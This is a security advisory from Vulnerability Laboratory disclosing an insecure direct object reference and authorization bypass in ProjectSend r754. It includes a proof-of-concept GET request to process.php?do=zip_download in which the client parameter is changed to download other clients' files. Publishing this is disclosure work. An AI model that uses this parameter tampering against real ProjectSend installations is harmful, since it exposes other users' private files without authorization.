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[FD] ProjectSend r754 - IDOR & Authentication Bypass Vulnerability

Document Title:
ProjectSend r754 - IDOR & Authentication Bypass Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets 
you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending 
on external services or e-mail to send those files.

(Copy of the Homepage: http://www.projectsend.org/ )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a idor and authentication bypass vulnerability in the ProjectSend-r754 web-application.

Vulnerability Disclosure Timeline:
2017-02-20: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
GNU GPL License
Product: ProjectSend r754

Exploitation Technique:

Severity Level:

Technical Details & Description:
An insecure direct object references occured in case of an application provides direct access to objects based on user-supplied input. 
As a result of this vulnerability attackers can bypass authorization and to access resources in the system. Insecure Direct Object References 
allows attackers to bypass authorization and access resources directly by modifying the value of a parameter[client] used. Thus finally point 
to other client account names, which allows an attackers to download others clients private data with no secure method provided.

Vulnerability Method(s):
[+] GET

Vulnerable Module(s):
[+] process.php?do=zip_download

Vulnerable Parameter(s):
[+] client
[+] file

Proof of Concept (PoC):
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

1. User "A" as attacker checks a file to download as zip extension, then click download to modifiy values as required ...

2. Application responds with the client file list, so then you are able to download all other side user B data files with zip extension  

--- PoC Session Logs ---
GET /ProjectSend-r754/process.php?do=zip_download&client=[CLIENTNAME]&files%5B%5D=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost/ProjectSend-r754/my_files/
Cookie: PHPSESSID=kb0uotq6mssklf213v4a7fje47
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2017 19:07:41 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.44-0+deb7u1
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 6

Name of Files: .jpg

Video PoC:

Security Risk:
The security risk of the web vulnerability in the ProjectSend-r754 web-application function is estimated as medium. (CVSS 5.3)

Credits & Authors:
Lawrence Amer - Vulnerability Laboratory [Research Team] - (http://lawrenceamer.me) (https://www.vulnerability-lab.com/show.php?user=Lawrence Amer)

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consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

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